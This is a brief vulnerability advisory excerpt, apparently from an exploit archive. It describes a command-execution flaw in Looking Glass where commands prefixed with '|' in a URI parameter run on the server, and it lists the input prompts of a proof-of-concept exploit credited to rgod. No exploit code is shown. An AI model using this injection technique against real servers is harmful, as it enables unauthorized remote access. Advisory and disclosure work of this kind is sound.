source: https://www.securityfocus.com/bid/14682/info Looking Glass may be exploited to execute arbitrary commands. An attacker can prefix arbitrary commands with the '|' character, supply them through a URI parameter and have them executed in the context of the server. This can facilitate unauthorized remote access. Looking Glass arbitrary commands execution poc exploit by rgod

hostname (ex: www.sitename.com)

path (ex: /LookingGlass/ or just /)

specify a port other than 80 (default value)

send exploit through an HTTP proxy (ip:port)
